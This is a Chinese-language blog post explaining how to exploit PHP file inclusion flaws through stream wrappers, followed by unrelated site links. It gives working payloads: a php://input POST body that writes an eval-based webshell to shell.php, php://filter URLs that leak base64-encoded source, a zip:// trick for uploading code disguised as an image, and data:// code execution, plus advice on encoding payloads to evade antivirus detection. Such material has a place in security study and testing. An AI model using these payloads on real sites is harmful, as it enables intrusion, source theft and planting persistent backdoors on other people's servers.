当前位置:网站首页>文件包含之伪协议的使用
文件包含之伪协议的使用
2022-08-03 14:51:00 【一青一柠】
文件包含漏洞利用实例
1. php流的input
http://127.0.0.1/include/03/index.php?page=php://input
然后要用post类型提交数据
这里可以这么提交:
<?php
fputs(fopen("shell.php","w"),"<?php @eval(\$_POST["hack"])?>")
?>
这里通过直接写入一个木马文件,来进行攻击。
所以不只是文件上传点可以写入木马,php的input流也可以写入一句话木马。
2. php流的filter协议
?page=php://filter/read=convert.base64-encode/resource=index.php
?page=php://filter/convert.base64-encode/resource=index.php
通过指定末尾的文件,可以读取经base64编码后的文件源码,之后再base64解码一下就行。
虽然不能直接获取到shell等,但能读取敏感文件危害也是挺大的。
allow_url_include和allow_url fopen都不做要求,这是非常大的优势。
3. zip压缩流
?page=zip://C:/Users/40454/Desktop/test.jpg%23test.txt
先将要执行的PHP代码写好文件名为test.txt,将test.txt进行zip压缩,压缩文件名为test.zip,如果可以上传zip文件便直接上传,若不能便将test.zip重命名为test.jpg后再上传。、
注意,这里必须是绝对路径。
4. data协议
?file=data://text/plain,<?php phpinfo();?>
但在利用时有很多问题。
后面php代码容易被查杀,所以要灵活利用编码等方法,可以借鉴webshell免杀,原理都是一样的。
<?php phpinfo();?>在编成base64的时候出现了+。而浏览器不认识+号。解决思路:
不写后面的 ?> 因为PHP里面其实不需要写后面的 前面的 ;号就已经说明结束了。
如果没有;号就必须写 ?>作为结束。
边栏推荐
- Several methods of installing Mysql in Linux
- 兆骑科创创业大赛,双创服务平台,线上直播路演
- R7 6800H+RTX3050+120Hz 2.8K OLED screen, Intrepid Pro15 2022 pre-sale
- 552个元宇宙App,70个搞社交,哪款真能交到朋友?
- devops-2:Jenkins的使用及Pipeline语法讲解
- PostgreSQL 每周新闻 2022-7-27
- 问题8:对朋友圈进行用例设计
- 我现在推荐用mamba替代conda
- 162_Power Query 快速合并文件夹中表格之自定义函数 TableXlsxCsv_2.0
- HDU 1029 Ignatius and the Princess IV
猜你喜欢
技术分享 | 接口自动化测试如何搞定 json 响应断言?
你没见过的《老友记》镜头,AI给补出来了|ECCV 2022
A high-performance creation book, ASUS Dreadnought Pro15 2022 is completely enough for daily photo editing and editing!
用1000行代码统计西安新房价格后,我有一个惊人的发现……
币圈提款机:Solana钱包出现未知安全漏洞 大量用户数字资产被盗
Day1:面试必考真题
兔起鹘落全端涵盖,Go lang1.18入门精炼教程,由白丁入鸿儒,全平台(Sublime 4)Go lang开发环境搭建EP00
MMA安装及使用优化
云硬盘EVS详解以及如何用与避坑【华为云至简致远】
162_Power Query 快速合并文件夹中表格之自定义函数 TableXlsxCsv_2.0
随机推荐
MMA安装及使用优化
你没见过的《老友记》镜头,AI给补出来了|ECCV 2022
LeetCode169:多数元素
【常见 error】Vivado 综合出现中断、失败、“PID not specified”
教你如何获取微信公众号历史文章链接
PostgreSQL V14中更好的SQL函数
输出一个整数的二进制形式
南京一研究所回应招聘硕士保安:负责安全生产等,48人选1
GMapping principle analysis/easy to understand
连亏四个月,赚不回电费,预制菜经销商恐成“韭菜”?
Tao Te: Engine or baggage?
LARS (Least Angle Regression)
eolink告诉你,国内Api行业,可以内卷到什么程度?
What are the visual database design software _ database visual programming
PostgreSQL 每周新闻 2022-7-27
使用Jetty服务器和Axis2框架技术发布Webservice接口
王守创:多组学整合分析揭示植物代谢多样性的分子机制(8月2号晚)
问题9:为什么有边界值的测试?
Linux安装Mysql的几种方法
R7 6800H+RTX3050+120Hz 2.8K OLED屏,无畏Pro15 2022开启预售